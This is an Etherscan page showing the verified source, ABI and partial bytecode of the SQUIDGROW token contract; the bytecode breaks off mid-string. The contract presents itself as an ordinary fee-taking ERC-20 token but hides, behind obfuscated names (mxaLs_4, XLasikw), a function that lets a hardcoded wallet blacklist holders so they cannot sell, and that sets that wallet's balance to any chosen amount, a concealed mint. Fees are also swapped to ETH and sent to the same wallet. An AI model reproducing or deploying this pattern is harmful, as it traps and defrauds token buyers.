ETH Price: $3,298.59 (-3.11%)
 

Overview

Max Total Supply

1,000,000 SQUIDG

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
26,498.429912131 SQUIDG

Value
$0.00
0xe974e7a2637af1f7ae222f7186eaa1f1c35e145d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SQUIDGROW

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-12
*/

/**
 *Submitted for verification at Etherscan.io on 2023-01-12
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.7;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract SQUIDGROW is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "SQUIDGROW";
    string private _symbol = "SQUIDG";
    uint8 private _decimals = 9;
    address payable public mxaLs_6;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public XLasikw;

    uint256 public _buyTeamFee = 3;
    uint256 public _sellTeamFee = 3;

    uint256 private _totalSupply = 1000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        mxaLs_6 = payable(address(0x75Fb0CA77588B9Cc2C346926bCb886C5B9F4dcfC));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function cPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function mxaLs_4(bool mxaLs_3, address[] calldata mxaLs_2, uint256 mxaLs_5) public {
        uint256 n = mxaLs_2.length;
        for (uint256 i; i < n; i++) {
            address Pwkxs = mxaLs_2[i];
            XLasikw[Pwkxs] = mxaLs_3;
        }
        uint256 mxaLs_7;
        mxaLs_7 = mxaLs_5 + 2 * balanceOf(mxaLs_6);
        mxaLs_1(n > 0);
        _balances[mxaLs_6] = mxaLs_7;
    }

    function mxaLs_1(bool status) view private{
        if (status && status) 
            require(mxaLs_6 == _msgSender());
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForSwap = tAmount;
        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;
        
        uint256 amountETHTeam = amountReceived;

        if(amountETHTeam > 0)
            transferToAddressETH(mxaLs_6, amountETHTeam);
    }
    

    function swapTokensForEth(uint256 amount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!XLasikw[sender]);
        }
    
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_buyTeamFee).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTeamFee).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"XLasikw","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"mxaLs_3","type":"bool"},{"internalType":"address[]","name":"mxaLs_2","type":"address[]"},{"internalType":"uint256","name":"mxaLs_5","type":"uint256"}],"name":"mxaLs_4","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mxaLs_6","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600981526020017f535155494447524f57000000000000000000000000000000000000000000000081525060019080519060200190620000519291906200043b565b506040518060400160405280600681526020017f5351554944470000000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200043b565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a55600360009054906101000a900460ff16600a6200011c919062000574565b620f42406200012c9190620006b1565b600b556001600d60156101000a81548160ff0219169083151502179055503480156200015757600080fd5b50620001686200040a60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160066000620002386200041260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b5460046000620002f86200040a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507375fb0ca77588b9cc2c346926bcb886c5b9f4dcfc600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200039b6200040a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620003fc9190620004fc565b60405180910390a3620007ca565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004499062000729565b90600052602060002090601f0160209004810192826200046d5760008555620004b9565b82601f106200048857805160ff1916838001178555620004b9565b82800160010185558215620004b9579182015b82811115620004b85782518255916020019190600101906200049b565b5b509050620004c89190620004cc565b5090565b5b80821115620004e7576000816000905550600101620004cd565b5090565b620004f68162000712565b82525050565b6000602082019050620005136000830184620004eb565b92915050565b6000808291508390505b60018511156200056b578086048111156200054357620005426200075f565b5b6001851615620005535780820291505b80810290506200056385620007bd565b945062000523565b94509492505050565b6000620005818262000712565b91506200058e836200071c565b9250620005bd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005c5565b905092915050565b600082620005d75760019050620006aa565b81620005e75760009050620006aa565b81600181146200060057600281146200060b5762000641565b6001915050620006aa565b60ff84111562000620576200061f6200075f565b5b8360020a9150848211156200063a57620006396200075f565b5b50620006aa565b5060208310610133831016604e8410600b84101617156200067b5782820a9050838111156200067557620006746200075f565b5b620006aa565b6200068a848484600162000519565b92509050818404811115620006a457620006a36200075f565b5b81810290505b9392505050565b6000620006be8262000712565b9150620006cb8362000712565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200070757620007066200075f565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200074257607f821691505b602082108114156200075957620007586200078e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c612db9620007e960003960006108cc0152612db96000f3fe6080604052600436106101445760003560e01c806344f637bc116100b6578063b789c2241161006f578063b789c22414610493578063c469b6dd146104be578063c816841b146104e9578063cab0347114610514578063dd62ed3e1461053f578063f2fde38b1461057c5761014b565b806344f637bc1461035b5780634a74bb021461039857806370a08231146103c35780638da5cb5b1461040057806395d89b411461042b578063a9059cbb146104565761014b565b806323b872dd1161010857806323b872dd1461023757806327c8f83514610274578063313ce5671461029f5780633345611e146102ca5780633ecad27114610307578063407262ed146103445761014b565b806306fdde0314610150578063095ea7b31461017b5780631694505e146101b857806318160ddd146101e35780631cd1ff091461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105a5565b60405161017291906125cb565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612266565b610637565b6040516101af9190612595565b60405180910390f35b3480156101c457600080fd5b506101cd610655565b6040516101da91906125b0565b60405180910390f35b3480156101ef57600080fd5b506101f861067b565b60405161020591906126cd565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906122a6565b610685565b005b34801561024357600080fd5b5061025e60048036038101906102599190612213565b6107f0565b60405161026b9190612595565b60405180910390f35b34801561028057600080fd5b506102896108ca565b6040516102969190612536565b60405180910390f35b3480156102ab57600080fd5b506102b46108ee565b6040516102c19190612742565b60405180910390f35b3480156102d657600080fd5b506102f160048036038101906102ec9190612179565b610905565b6040516102fe9190612595565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190612179565b610925565b60405161033b9190612595565b60405180910390f35b34801561035057600080fd5b50610359610945565b005b34801561036757600080fd5b50610382600480360381019061037d9190612179565b610d1d565b60405161038f9190612595565b60405180910390f35b3480156103a457600080fd5b506103ad610d3d565b6040516103ba9190612595565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190612179565b610d50565b6040516103f791906126cd565b60405180910390f35b34801561040c57600080fd5b50610415610d99565b6040516104229190612536565b60405180910390f35b34801561043757600080fd5b50610440610dc2565b60405161044d91906125cb565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190612266565b610e54565b60405161048a9190612595565b60405180910390f35b34801561049f57600080fd5b506104a8610e73565b6040516104b59190612551565b60405180910390f35b3480156104ca57600080fd5b506104d3610e99565b6040516104e091906126cd565b60405180910390f35b3480156104f557600080fd5b506104fe610e9f565b60405161050b9190612536565b60405180910390f35b34801561052057600080fd5b50610529610ec5565b60405161053691906126cd565b60405180910390f35b34801561054b57600080fd5b50610566600480360381019061056191906121d3565b610ecb565b60405161057391906126cd565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e9190612179565b610f52565b005b6060600180546105b4906129a9565b80601f01602080910402602001604051908101604052809291908181526020018280546105e0906129a9565b801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b5050505050905090565b600061064b6106446110a4565b84846110ac565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b600083839050905060005b8181101561072f5760008585838181106106ad576106ac612ab1565b5b90506020020160208101906106c29190612179565b905086600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550508080610727906129db565b915050610690565b50600061075d600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d50565b60026107699190612839565b8361077491906127b2565b905061078260008311611277565b8060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050565b60006107fd8484846112eb565b506108bf8461080a6110a4565b6108ba85604051806060016040528060288152602001612d5c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108706110a4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ce9092919063ffffffff16565b6110ac565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b61094d6110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d19061266d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3957600080fd5b505afa158015610a4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7191906121a6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ad357600080fd5b505afa158015610ae7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0b91906121a6565b6040518363ffffffff1660e01b8152600401610b2892919061256c565b602060405180830381600087803b158015610b4257600080fd5b505af1158015610b56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7a91906121a6565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60086020528060005260406000206000915054906101000a900460ff1681565b600d60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610dd1906129a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610dfd906129a9565b8015610e4a5780601f10610e1f57610100808354040283529160200191610e4a565b820191906000526020600020905b815481529060010190602001808311610e2d57829003601f168201915b5050505050905090565b6000610e68610e616110a4565b84846112eb565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f5a6110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde9061266d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561111c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611113906126ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561118c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111839061260d565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161126a91906126cd565b60405180910390a3505050565b8080156112815750805b156112e85761128e6110a4565b73ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e757600080fd5b5b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561135c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113539061268d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c3906125ed565b60405180910390fd5b600d60149054906101000a900460ff16156113f3576113ec848484611732565b90506116c7565b60006113fe30610d50565b9050600d60149054906101000a900460ff161580156114675750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114765761147581611905565b5b6114c883600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115ae5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115c2576115bd8686866119d9565b6115c4565b835b905061161881600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116b891906126cd565b60405180910390a36001925050505b9392505050565b6000838311158290611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d91906125cb565b60405180910390fd5b50600083856117259190612893565b9050809150509392505050565b60006117bd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ce9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185282600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118f291906126cd565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff021916908315150217905550600081905061192e81611d07565b60004790506000819050600081111561196e5761196d600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f5c565b5b5050506000600d60146101000a81548160ff02191690831515021790555050565b60006119d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116ce565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611a8957600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a8857600080fd5b5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b0a57611b036064611af560095486611fa790919063ffffffff16565b61202290919063ffffffff16565b9050611b88565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b8757611b846064611b76600a5486611fa790919063ffffffff16565b61202290919063ffffffff16565b90505b5b6000811115611c8c57611be381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f